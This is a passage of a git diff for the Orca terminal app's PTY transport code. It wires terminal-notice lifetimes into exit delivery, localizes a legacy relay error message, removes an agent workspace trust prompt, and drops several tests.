 import { registerPtyConnectionHiddenQuerySnapshotAuthorityTests } from '../output-restore/pty-connection-hidden-query-snapshot-authority.spec'
-import { registerPtyConnectionHiddenDeliveryGateTests } from '../output-restore/pty-connection-hidden-delivery-gate.spec'
-import { registerPtyConnectionReplayPayloadHandlingTests } from '../output-restore/pty-connection-replay-payload-handling.spec'
+
 import {
   registerPtyConnectionPtyExitTeardownTests,
   registerPtyConnectionEstablishedPtyExitTests
@@ -16,12 +15,10 @@ vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (importOriginal) =>
   ).runtimeRpcClientWithLayoutApply(await importOriginal())
 )
 
-describe('pty-connection-visibility-resume-size', registerPtyConnectionVisibilityResumeSizeTests)
 describe('pty-connection-hidden-codex-queries', () => {
   registerPtyConnectionHiddenQuerySnapshotAuthorityTests()
 })
-describe('pty-connection-hidden-delivery-gate', registerPtyConnectionHiddenDeliveryGateTests)
-describe('pty-connection-replay-payload-handling', registerPtyConnectionReplayPayloadHandlingTests)
+
 describe('pty-connection-pty-exit-teardown', () => {
   registerPtyConnectionPtyExitTeardownTests()
   registerPtyConnectionProviderRebindCallbackFencingTests()
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-dispatcher.ts b/src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-dispatcher.ts
index 7cf943e59ce..9b8c762ed7b 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-dispatcher.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-dispatcher.ts
@@ -1,3 +1,5 @@
+import { getTerminalNoticeLifetime } from '../../provider-notices/terminal-notice-lifetime'
+import { captureTerminalNoticeExitHandler } from './pty-notice-exit'
 import { TERMINAL_SCROLLBACK_SESSION_BUFFER_BYTE_LIMIT } from '../../../../../../shared/terminal/replay/terminal-scrollback-limits'
 import {
   clearProcessedPtyCharTotal,
@@ -321,10 +323,14 @@ export function registerEagerPtyBuffer(
 
   eagerPtyHandles.set(ptyId, handle)
   drainPreHandlerPtyData(ptyId, dataHandler)
+  const deliverBufferedExit = captureTerminalNoticeExitHandler(
+    getTerminalNoticeLifetime(ptyId),
+    exitHandler
+  )
   // Why: defer the pre-handler exit one microtask so the caller receives the returned handle before onExit fires.
   queueMicrotask(() => {
     if (ptyExitHandlers.get(ptyId) === exitHandler) {
-      drainPreHandlerPtyExit(ptyId, exitHandler, incarnationId)
+      drainPreHandlerPtyExit(ptyId, deliverBufferedExit, incarnationId)
     } else {
       clearPreHandlerPtyState(ptyId)
     }
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-exit-delivery.ts b/src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-exit-delivery.ts
index ae74d4e0223..e46dbfec8b8 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-exit-delivery.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-exit-delivery.ts
@@ -1,3 +1,5 @@
+import { getTerminalNoticeLifetime } from '../../provider-notices/terminal-notice-lifetime'
+import { prepareTerminalNoticeExit } from './pty-notice-exit'
 import {
   bufferPreHandlerPtyExit,
   clearPreHandlerPtyState,
@@ -26,15 +28,24 @@ export function isPtyExitReplacedByRestart(ptyId: string): boolean {
 
 /** Delivers one exit to its primary owner and every observational sidecar. */
 export function deliverPtyExitToHandlers(delivery: PtyExitDelivery): void {
-  if (!delivery.replacedByRestart) {
-    deliverClassifiedPtyExit(delivery)
-    return
-  }
-  replacedExitsInDelivery.add(delivery.ptyId)
+  const finishNotice = prepareTerminalNoticeExit(
+    getTerminalNoticeLifetime(delivery.ptyId),
+    delivery.code,
+    delivery.incarnationId
+  )
   try {
-    deliverClassifiedPtyExit(delivery)
+    if (!delivery.replacedByRestart) {
+      deliverClassifiedPtyExit(delivery)
+      return
+    }
+    replacedExitsInDelivery.add(delivery.ptyId)
+    try {
+      deliverClassifiedPtyExit(delivery)
+    } finally {
+      replacedExitsInDelivery.delete(delivery.ptyId)
+    }
   } finally {
-    replacedExitsInDelivery.delete(delivery.ptyId)
+    finishNotice()
   }
 }
 
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-notice-exit.ts b/src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-notice-exit.ts
new file mode 100644
index 00000000000..1a51bdba337
--- /dev/null
+++ b/src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-notice-exit.ts
@@ -0,0 +1,66 @@
+import { isProvenProcessExit } from '../../../../../../shared/terminal/pty/lifecycle/terminal-exit-cause'
+import { isPtyDataHandlerShutdownPending } from '../shutdown/pty-shutdown-data-suspension'
+import { deferPtyShutdownExit } from '../shutdown/pty-shutdown-exit-deferral'
+import {
+  retireTerminalNoticeLifetime,
+  type TerminalNoticeLifetime
+} from '../../provider-notices/terminal-notice-lifetime'
+
+let isStoreShutdownPending: (ptyId: string) => boolean = () => false
+
+export function registerTerminalNoticeShutdownReader(reader: (ptyId: string) => boolean): void {
+  isStoreShutdownPending = reader
+}
+
+/** Snapshot before primary callbacks can settle shutdown or replace the binding. */
+export function prepareTerminalNoticeExit(
+  lifetime: TerminalNoticeLifetime | undefined,
+  code: number,
+  incarnationId?: string
+): () => void {
+  // Unstamped transport loss needs canonical final-removal evidence, not a current-ID guess.
+  if (
+    !lifetime ||
+    !incarnationId ||
+    lifetime.incarnationId !== incarnationId ||
+    !isProvenProcessExit(code)
+  ) {
+    return () => {}
+  }
+  return prepareAcceptedTerminalNoticeExit(lifetime)
+}
+
+/** The canonical owner already accepted process death; shutdown still owns settlement. */
+export function prepareAcceptedTerminalNoticeExit(
+  lifetime: TerminalNoticeLifetime | undefined
+): () => void {
+  if (!lifetime || lifetime.retired) {
+    return () => {}
+  }
+  const pending =
+    isPtyDataHandlerShutdownPending(lifetime.ptyId) || isStoreShutdownPending(lifetime.ptyId)
+  if (pending) {
+    deferPtyShutdownExit(lifetime.ptyId, (settlement) => {
+      if (settlement === 'committed') {
+        retireTerminalNoticeLifetime(lifetime)
+      }
+    })
+    return () => {}
+  }
+  return () => retireTerminalNoticeLifetime(lifetime)
+}
+
+/** Bind buffered-exit delivery to its original admitted contribution. */
+export function captureTerminalNoticeExitHandler(
+  lifetime: TerminalNoticeLifetime | undefined,
+  handler: (code: number) => void
+): (code: number, incarnationId?: string) => void {
+  return (code, incarnationId) => {
+    const finish = prepareTerminalNoticeExit(lifetime, code, incarnationId)
+    try {
+      handler(code)
+    } finally {
+      finish()
+    }
+  }
+}
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-pre-handler-buffer.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-pre-handler-buffer.test.ts
index 9f1f628ec48..de82dc1c008 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-pre-handler-buffer.test.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-pre-handler-buffer.test.ts
@@ -125,7 +125,7 @@ describe('pre-handler PTY buffer', () => {
     bufferPreHandlerPtyExit(EXIT_PTY_ID, 3)
     drainPreHandlerPtyExit(EXIT_PTY_ID, onExit)
     expect(data).toEqual(['reattach output'])
-    expect(onExit).toHaveBeenCalledWith(3)
+    expect(onExit).toHaveBeenCalledWith(3, undefined)
   })
 
   it('consumes a drained exit even when its handler throws', () => {
@@ -226,7 +226,7 @@ describe('pre-handler PTY buffer', () => {
     // Data first: draining the exit transfers ownership and clears the buffered bytes with it.
     drainPreHandlerPtyData(RECYCLED_PTY_ID, data)
     drainPreHandlerPtyExit(RECYCLED_PTY_ID, exit)
-    expect(exit).toHaveBeenCalledWith(1)
+    expect(exit).toHaveBeenCalledWith(1, undefined)
     expect(data).toHaveBeenCalledWith('startup bytes', undefined)
   })
 
@@ -253,7 +253,7 @@ describe('pre-handler PTY buffer', () => {
 
     const exit = vi.fn()
     drainPreHandlerPtyExit(RECYCLED_PTY_ID, exit)
-    expect(exit).toHaveBeenCalledWith(1)
+    expect(exit).toHaveBeenCalledWith(1, FRESH_INCARNATION_ID)
   })
 
   // Missing incarnation is unknown, preserving old-host and synthetic relay-exit fence behavior.
@@ -294,7 +294,7 @@ describe('pre-handler PTY buffer', () => {
     const exit = vi.fn()
     expect(hasPreHandlerPtyExit(RECYCLED_PTY_ID)).toBe(true)
     drainPreHandlerPtyExit(RECYCLED_PTY_ID, exit)
-    expect(exit).toHaveBeenCalledWith(1)
+    expect(exit).toHaveBeenCalledWith(1, FRESH_INCARNATION_ID)
   })
 
   it('replaces a duplicate exit for the same lifetime instead of crowding out another lifetime', () => {
@@ -306,7 +306,7 @@ describe('pre-handler PTY buffer', () => {
 
     const exit = vi.fn()
     drainPreHandlerPtyExit(RECYCLED_PTY_ID, exit)
-    expect(exit).toHaveBeenCalledWith(9)
+    expect(exit).toHaveBeenCalledWith(9, FRESH_INCARNATION_ID)
   })
 
   // Reads enforce lifetime filtering even for eager background launches that never invoke explicit discard.
@@ -343,6 +343,6 @@ describe('pre-handler PTY buffer', () => {
 
     const exit = vi.fn()
     drainPreHandlerPtyExit(RECYCLED_PTY_ID, exit)
-    expect(exit).toHaveBeenCalledWith(3)
+    expect(exit).toHaveBeenCalledWith(3, undefined)
   })
 })
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-pre-handler-buffer.ts b/src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-pre-handler-buffer.ts
index 895a612a1fc..02b9f9f0252 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-pre-handler-buffer.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-pre-handler-buffer.ts
@@ -292,7 +292,7 @@ export function hasPreHandlerPtyExit(ptyId: string, incarnationId?: unknown): bo
 
 export function drainPreHandlerPtyExit(
   ptyId: string,
-  handler: (code: number) => void,
+  handler: (code: number, incarnationId?: string) => void,
   incarnationId?: unknown
 ): void {
   // Select the newest admissible lifetime record to preserve last-write-wins behavior.
@@ -307,7 +307,7 @@ export function drainPreHandlerPtyExit(
   }
   preHandlerPtyExit.delete(ptyId)
   try {
-    handler(exit.code)
+    handler(exit.code, exit.incarnationId)
   } finally {
     // Draining transfers exit ownership despite handler throws; duplicates cannot become new pre-handler events.
     consumePreHandlerPtyState(ptyId)
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/delivery/terminal-pty-ack-gate.ts b/src/renderer/src/components/terminal-pane/pty-transport/delivery/terminal-pty-ack-gate.ts
index 3457ba9bd6c..2e4703505b5 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/delivery/terminal-pty-ack-gate.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/delivery/terminal-pty-ack-gate.ts
@@ -1,5 +1,5 @@
 import { e2eConfig } from '@/app-shell/startup/e2e-config'
-import { deliverTerminalDataWithDeferredCredit } from '@/lib/pane-manager/terminal-delivery-credit'
+import { deliverTerminalDataWithDeferredCredit } from '@/lib/pane-manager/terminal-output/terminal-delivery-credit'
 
 type E2eTerminalPtyAckGateSnapshot = {
   gatedPtyCount: number
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/ipc/ipc-pty-attach.ts b/src/renderer/src/components/terminal-pane/pty-transport/ipc/ipc-pty-attach.ts
index 5314a2a159a..d430f6b8447 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/ipc/ipc-pty-attach.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/ipc/ipc-pty-attach.ts
@@ -1,3 +1,5 @@
+import { admitTerminalNoticeLifetime } from '../../provider-notices/terminal-notice-lifetime'
+import { hasPreHandlerPtyExit } from '../delivery/pty-pre-handler-buffer'
 import { RELEASE_SYNCHRONIZED_OUTPUT } from '../../../../../../shared/terminal/protocol/input-modes/terminal-mode-reset-profiles'
 import { ensurePtyDispatcher, getEagerPtyBufferHandle } from '../delivery/pty-dispatcher'
 import {
@@ -30,11 +32,15 @@ export function attachIpcPty(options: PtyAttachOptions, context: IpcPtyAttachCon
   const id = options.existingPtyId
   context.bind(id)
   context.handlers.registerData(id)
+  const hadBufferedExit = hasPreHandlerPtyExit(id)
   context.handlers.registerExit(id)
   if (!context.isCurrent(id)) {
     return
   }
 
+  if (!hadBufferedExit) {
+    admitTerminalNoticeLifetime(id)
+  }
   replayEagerPtyBuffer(options, context)
   if (options.cols && options.rows) {
     window.api.pty.resize(id, options.cols, options.rows)
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/ipc/ipc-pty-connect.ts b/src/renderer/src/components/terminal-pane/pty-transport/ipc/ipc-pty-connect.ts
index b415dca41be..126a05e4e64 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/ipc/ipc-pty-connect.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/ipc/ipc-pty-connect.ts
@@ -1,4 +1,4 @@
-import { resolveAgentWorkspaceTrustOwner } from '../../../../../../shared/agent-launch/permissions/agent-workspace-trust-decision'
+import { admitTerminalNoticeLifetime } from '../../provider-notices/terminal-notice-lifetime'
 import { terminalLaunchFacts } from '../../../../../../shared/agent-session/lifecycle/agent-session-resume'
 import { readTerminalSpawnDeferral } from '../../../../../../shared/terminal/pty/admission/spawn-admission-contract'
 import { isRuntimeOwnedSshTargetId } from '../../../../../../shared/execution-host'
@@ -19,7 +19,6 @@ import type { IpcPtySessionHandlers } from './ipc-pty-session-handlers'
 import { isSshSessionGoneError } from '../host-ownership/ssh-session-gone-verdict'
 import { spawnIpcPty } from './ipc-pty-spawn-request'
 import { settleAgentLaunchPaneStart } from '@/lib/agent-session/launch/pane/agent-launch-pane-start'
-import { awaitAgentWorkspaceTrustDecision } from '../../../agent-workspace-trust/agent-workspace-trust-decision-prompt'
 import type { IpcPtyTransportOptions, PtyConnectResult, PtyTransport } from '../pty-transport-types'
 
 const SSH_PTY_CONNECTION_MISMATCH_MARKER = 'belongs to SSH connection'
@@ -82,31 +81,12 @@ export async function connectIpcPty(
         return
       }
     }
-    // A fresh agent launch in an undecided repo waits for the user's trust answer.
-    const trustDecision =
-      admittedSessionId || (options.command ?? transportOptions.command) === undefined
-        ? null
-        : awaitAgentWorkspaceTrustDecision({
-            launchAgent: options.launchAgent ?? transportOptions.launchAgent,
-            workspaceId: resolveAgentWorkspaceTrustOwner(transportOptions),
-            connectionId: transportOptions.connectionId
-          })
-    // Bounded: an unanswered prompt releases with today's default (agent-workspace-trust-decision-prompt).
-    const trustAnswer = trustDecision ? await trustDecision : null
-    if (trustDecision && context.isDestroyed()) {
-      return
-    }
     if (options.shouldContinue && !options.shouldContinue()) {
       return
     }
     // Fence before spawning: redeployed relays recycle IDs, so earlier buffered state belongs to a previous PTY lifetime.
     const priorIncarnationFence = currentPreHandlerPtySequence()
-    const spawnResult = await spawnIpcPty(
-      transportOptions,
-      options,
-      admittedSessionId,
-      trustAnswer === 'agent-asks'
-    )
+    const spawnResult = await spawnIpcPty(transportOptions, options, admittedSessionId)
     settleAgentLaunchPaneStart(transportOptions.tabId, transportOptions.leafId, spawnResult.id)
     // Any resolved spawn or cold restore is live under this id, even if this transport was destroyed meanwhile.
     markTerminalProviderSessionBound(spawnResult.id)
@@ -153,6 +133,12 @@ export async function connectIpcPty(
     if (context.isDestroyed()) {
       return
     }
+    if (!hasPreHandlerPtyExit(spawnResult.id, spawnResult.incarnationId)) {
+      admitTerminalNoticeLifetime(spawnResult.id, {
+        incarnationId: spawnResult.incarnationId,
+        fresh: !admittedSessionId && !spawnResult.isReattach && !spawnResult.coldRestore
+      })
+    }
     const exitedBeforeAttach = handlers.registerExit(spawnResult.id, spawnResult.incarnationId)
     if (exitedBeforeAttach) {
       if (!context.isExpectedExitCurrent()) {
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/ipc/ipc-pty-session-handlers.ts b/src/renderer/src/components/terminal-pane/pty-transport/ipc/ipc-pty-session-handlers.ts
index c2181c95bfd..bf04aa03854 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/ipc/ipc-pty-session-handlers.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/ipc/ipc-pty-session-handlers.ts
@@ -1,3 +1,5 @@
+import { getTerminalNoticeLifetime } from '../../provider-notices/terminal-notice-lifetime'
+import { prepareTerminalNoticeExit } from '../delivery/pty-notice-exit'
 import { ptyWriteUnavailableHandlers } from '../delivery/pty-dispatcher'
 import {
   drainRolledBackPtyShutdownData,
@@ -135,6 +137,7 @@ export function createIpcPtySessionHandlers({
 
   function registerExit(id: string, incarnationId?: string): boolean {
     const hadBufferedExit = hasPreHandlerPtyExit(id, incarnationId)
+    const lifetime = getTerminalNoticeLifetime(id)
     const exit = (code: number): void => {
       const currentId = getPtyId()
       if (currentId !== null && currentId !== id) {
@@ -154,7 +157,18 @@ export function createIpcPtySessionHandlers({
     ptyTeardownHandlers.set(id, clearAccumulatedState)
     ptyShutdownLifecycleHandlers.set(id, shutdownLifecycle)
     try {
-      drainPreHandlerPtyExit(id, exit, incarnationId)
+      drainPreHandlerPtyExit(
+        id,
+        (code, exitIncarnationId) => {
+          const finishNotice = prepareTerminalNoticeExit(lifetime, code, exitIncarnationId)
+          try {
+            exit(code)
+          } finally {
+            finishNotice()
+          }
+        },
+        incarnationId
+      )
     } catch (error) {
       if (!hadBufferedExit) {
         throw error
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/ipc/ipc-pty-spawn-request.ts b/src/renderer/src/components/terminal-pane/pty-transport/ipc/ipc-pty-spawn-request.ts
index 3b391c49724..76c069488c7 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/ipc/ipc-pty-spawn-request.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/ipc/ipc-pty-spawn-request.ts
@@ -19,9 +19,7 @@ export type IpcPtySpawnResponse = PtyConnectResult & {
 export async function spawnIpcPty(
   transportOptions: IpcPtyTransportOptions,
   connectOptions: PtyConnectOptions,
-  admittedSessionId?: string,
-  /** The user's "let agents ask" answer for this launch. */
-  skipAgentWorkspaceTrust = false
+  admittedSessionId?: string
 ): Promise<IpcPtySpawnResponse> {
   if (
     !admittedSessionId &&
@@ -146,7 +144,6 @@ export async function spawnIpcPty(
     ...(placement && !admittedSessionId ? { placement } : {}),
     ...(spawnIntent ? { spawnIntent } : {}),
     ...(connectOptions.wslPassiveRestore ? { wslPassiveRestore: true as const } : {}),
-    ...(skipAgentWorkspaceTrust ? { skipAgentWorkspaceTrust: true as const } : {}),
     ...(replacesPtyId ? { replacesPtyId } : {}),
     ...(shellOverride ? { shellOverride } : {}),
     ...(projectRuntime ? { projectRuntime } : {}),
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport.ts b/src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport.ts
index e9912c7aad3..0da077fb4a4 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport.ts
@@ -181,6 +181,8 @@ export function createIpcPtyTransport(opts: IpcPtyTransportOptions = {}): PtyTra
       }
     },
 
+    isHoldingInput: () => !destroyed && preconnectInputBuffer?.isBuffering() === true,
+
     abandonPreconnectInput() {
       dropPreconnectInput('its pending connection was abandoned')
     },
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/legacy-relay/legacy-relay-bridge-copy.ts b/src/renderer/src/components/terminal-pane/pty-transport/legacy-relay/legacy-relay-bridge-copy.ts
new file mode 100644
index 00000000000..416497f8a5f
--- /dev/null
+++ b/src/renderer/src/components/terminal-pane/pty-transport/legacy-relay/legacy-relay-bridge-copy.ts
@@ -0,0 +1,8 @@
+import { translate } from '@/i18n/i18n'
+
+/** Call-time so the language can change after the transport was created. */
+export const legacyRelayBridgeUnreachableMessage = (): string =>
+  translate(
+    'auto.components.terminal.pane.legacyRelayBridge.unreachable',
+    'This terminal is still running on the host under an older version of Orca. Reconnecting to it…'
+  )
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/legacy-relay/legacy-relay-bridge-transport.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/legacy-relay/legacy-relay-bridge-transport.test.ts
index 1f7f1e82a10..21e1149b9a6 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/legacy-relay/legacy-relay-bridge-transport.test.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/legacy-relay/legacy-relay-bridge-transport.test.ts
@@ -3,6 +3,11 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 import type { LegacyRelayBridgedPane } from '../../../../../../shared/legacy-relay-bridge-contract'
 import type { PtyTransport } from '../pty-transport-types'
 
+const relayCopy = vi.hoisted(() => ({ message: vi.fn(() => 'unreachable in language A') }))
+vi.mock('./legacy-relay-bridge-copy', () => ({
+  legacyRelayBridgeUnreachableMessage: relayCopy.message
+}))
+
 const PTY = 'ssh:ssh-box@@pty-1'
 
 const bridge = vi.hoisted(() => ({
@@ -102,6 +107,7 @@ function callbacks() {
 
 beforeEach(() => {
   vi.clearAllMocks()
+  relayCopy.message.mockReset().mockReturnValue('unreachable in language A')
   publishPanes([])
 })
 
@@ -257,6 +263,20 @@ describe('a runtime pane bridged to an older relay’s terminal', () => {
     expect(cb.onErrorCleared).toHaveBeenCalledTimes(1)
   })
 
+  it('clears the emitted error after the language changes', async () => {
+    bridge.attach.mockResolvedValueOnce({ status: 'unverifiable' })
+    relayCopy.message.mockReturnValueOnce('unreachable in language A')
+    const transport = createLegacyRelayBridgeTransport(PTY, innerTransport())
+    const cb = callbacks()
+    await transport.connect({ url: '', sessionId: PTY, callbacks: cb })
+    relayCopy.message.mockReturnValue('unreachable in language B')
+    bridge.attach.mockImplementationOnce(attachedWithScreen('BACK'))
+    publishPanes([{ ptyId: PTY, targetId: 'ssh-box', tabId: 'tab-1', state: 'live' }])
+    await vi.waitFor(() =>
+      expect(cb.onErrorCleared).toHaveBeenCalledWith('unreachable in language A')
+    )
+  })
+
   it('reattaches after a disconnect hung the bridge up, so the pane is never left deaf', async () => {
     bridge.attach.mockResolvedValueOnce({ status: 'attached', replay: 'SCREEN', acquisitionId: 1 })
     const transport = createLegacyRelayBridgeTransport(PTY, innerTransport())
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/legacy-relay/legacy-relay-bridge-transport.ts b/src/renderer/src/components/terminal-pane/pty-transport/legacy-relay/legacy-relay-bridge-transport.ts
index 0848e801f56..d08b7897701 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/legacy-relay/legacy-relay-bridge-transport.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/legacy-relay/legacy-relay-bridge-transport.ts
@@ -15,12 +15,10 @@ import {
   legacyRelayBridgedPane,
   onLegacyRelayBridgedPanesChanged
 } from './legacy-relay-bridge-panes'
+import { legacyRelayBridgeUnreachableMessage } from './legacy-relay-bridge-copy'
 
 type Callbacks = Parameters<PtyTransport['connect']>[0]['callbacks']
 
-const UNREACHABLE_MESSAGE =
-  'This terminal is still running on the host under an older version of Orca. Reconnecting to it…'
-
 export function createLegacyRelayBridgeTransport(ptyId: string, inner: PtyTransport): PtyTransport {
   const api = window.api.legacyRelayBridge
   let mode: 'pending' | 'bridge' | 'inner' = 'pending'
@@ -30,7 +28,7 @@ export function createLegacyRelayBridgeTransport(ptyId: string, inner: PtyTransp
   let unsubscribe: (() => void)[] = []
   let reattaching = false
   let reattachQueued = false
-  let showingUnreachable = false
+  let unreachableMessage: string | null = null
   let lastState: 'live' | 'unverifiable' | null = null
   /** Bumped by release, so an attach answered after the pane left hands its viewer back. */
   let epoch = 0
@@ -77,16 +75,17 @@ export function createLegacyRelayBridgeTransport(ptyId: string, inner: PtyTransp
   }
 
   const showUnreachable = (): void => {
-    if (!showingUnreachable) {
-      showingUnreachable = true
-      callbacks?.onError?.(UNREACHABLE_MESSAGE)
+    if (unreachableMessage === null) {
+      unreachableMessage = legacyRelayBridgeUnreachableMessage()
+      callbacks?.onError?.(unreachableMessage)
     }
   }
 
   const clearUnreachable = (): void => {
-    if (showingUnreachable) {
-      showingUnreachable = false
-      callbacks?.onErrorCleared?.(UNREACHABLE_MESSAGE)
+    if (unreachableMessage !== null) {
+      const message = unreachableMessage
+      unreachableMessage = null
+      callbacks?.onErrorCleared?.(message)
     }
   }
 
@@ -292,6 +291,8 @@ export function createLegacyRelayBridgeTransport(ptyId: string, inner: PtyTransp
     isConnected: () => (bridged() ? viewer !== null : inner.isConnected()),
     getPtyId: () => (bridged() ? ptyId : inner.getPtyId()),
     isConnectPending: () => (bridged() ? false : (inner.isConnectPending?.() ?? false)),
+    // Why not pending: selecting the bridge never drains the inner hold.
+    isHoldingInput: () => mode === 'inner' && (inner.isHoldingInput?.() ?? false),
     getRuntimeEnvironmentId: () => (bridged() ? null : (inner.getRuntimeEnvironmentId?.() ?? null)),
     getExecutionHostId: () => (bridged() ? null : (inner.getExecutionHostId?.() ?? null)),
     onExecutionHostChange: (listener) => inner.onExecutionHostChange?.(listener) ?? (() => {}),
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/pty-transport-types.ts b/src/renderer/src/components/terminal-pane/pty-transport/pty-transport-types.ts
index 324787a93ad..ad8594d0ee7 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/pty-transport-types.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/pty-transport-types.ts
@@ -252,6 +252,8 @@ export type PtyTransport = {
   ownsRecovery?: () => boolean
   /** Typed input the host has not applied yet, which a remount would discard. */
   hasUndeliveredInput?: () => boolean
+  /** Input sent now is held and delivered to this pane's terminal once it connects. */
+  isHoldingInput?: () => boolean
   /** The user dismissed the error surface; the next occurrence of the same message must surface again. */
   notifyErrorSurfaceDismissed?: () => void
   getPtyId: () => string | null
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/output/remote-runtime-pty-batching.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/output/remote-runtime-pty-batching.test.ts
index fed1cfe15b5..875af4f6904 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/output/remote-runtime-pty-batching.test.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/output/remote-runtime-pty-batching.test.ts
@@ -1,83 +1,9 @@
 import { describe, expect, it, vi } from 'vitest'
 
 import { CLIPBOARD_TEXT_MEASURE_YIELD_CODE_UNITS } from '../../../../../../../shared/clipboard-text'
-import {
-  createRemoteRuntimePtyTextBatcher,
-  createRemoteRuntimeViewportBatcher
-} from './remote-runtime-pty-batching'
+import { createRemoteRuntimePtyTextBatcher } from './remote-runtime-pty-batching'
 
 describe('createRemoteRuntimePtyTextBatcher', () => {
-  it('sends idle input at once and coalesces input inside the window', async () => {
-    vi.useFakeTimers()
-    try {
-      const flushes: string[] = []
-      const batcher = createRemoteRuntimePtyTextBatcher(10, (text) => flushes.push(text), {
-        maxPendingBytes: 8
-      })
-
-      expect(batcher.push('a')).toBe(true)
-      expect(flushes).toEqual(['a'])
-      expect(batcher.push('b')).toBe(true)
-      expect(batcher.push('c')).toBe(true)
-      expect(flushes).toEqual(['a'])
-      // Why: a remount during the window discards these, and the pane must know to say so.
-      expect(batcher.hasPendingInput()).toBe(true)
-
-      await vi.advanceTimersByTimeAsync(10)
-      expect(flushes).toEqual(['a', 'bc'])
-      expect(batcher.hasPendingInput()).toBe(false)
-
-      // The window stays open after a trailing flush; once it lapses idle, the next key goes at once.
-      expect(batcher.push('d')).toBe(true)
-      expect(flushes).toEqual(['a', 'bc'])
-      await vi.advanceTimersByTimeAsync(10)
-      expect(flushes).toEqual(['a', 'bc', 'd'])
-      await vi.advanceTimersByTimeAsync(10)
-      expect(batcher.push('e')).toBe(true)
-      expect(flushes).toEqual(['a', 'bc', 'd', 'e'])
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('keeps idle input trailing while the leading edge is disabled', () => {
-    vi.useFakeTimers()
-    try {
-      const flushes: string[] = []
-      const batcher = createRemoteRuntimePtyTextBatcher(10, (text) => flushes.push(text), {
-        sendLeadingEdge: () => false
-      })
-
-      expect(batcher.push('a')).toBe(true)
-      expect(batcher.push('b')).toBe(true)
-      expect(flushes).toEqual([])
-      vi.advanceTimersByTime(10)
-      expect(flushes).toEqual(['ab'])
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('flushes before pending input exceeds the byte ceiling', () => {
-    vi.useFakeTimers()
-    try {
-      const flushes: string[] = []
-      const batcher = createRemoteRuntimePtyTextBatcher(10, (text) => flushes.push(text), {
-        maxPendingBytes: 4
-      })
-
-      expect(batcher.push('x')).toBe(true)
-      expect(batcher.push('ab')).toBe(true)
-      expect(batcher.push('cd')).toBe(true)
-      expect(flushes).toEqual(['x'])
-
-      expect(batcher.push('e')).toBe(true)
-      expect(flushes).toEqual(['x', 'abcd', 'e'])
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
   it('splits one large UTF-8 input without splitting a code point', () => {
     const flushes: string[] = []
     const batcher = createRemoteRuntimePtyTextBatcher(10, (text) => flushes.push(text), {
@@ -91,64 +17,6 @@ describe('createRemoteRuntimePtyTextBatcher', () => {
     expect(flushes).toEqual(['ab', '😀', 'cd'])
   })
 
-  it('rejects oversized input without flushing clipboard content', () => {
-    const flushes: string[] = []
-    const batcher = createRemoteRuntimePtyTextBatcher(10, (text) => flushes.push(text), {
-      maxBytes: 4,
-      maxPendingBytes: 4
-    })
-
-    const secret = ['secret-token-', 'payload'].join('')
-
-    expect(batcher.push(secret)).toBe(false)
-    expect(flushes).toEqual([])
-  })
-
-  it('yields while validating large accepted input before sending it', async () => {
-    vi.useFakeTimers()
-    try {
-      const flushes: string[] = []
-      const text = 'x'.repeat(CLIPBOARD_TEXT_MEASURE_YIELD_CODE_UNITS + 1)
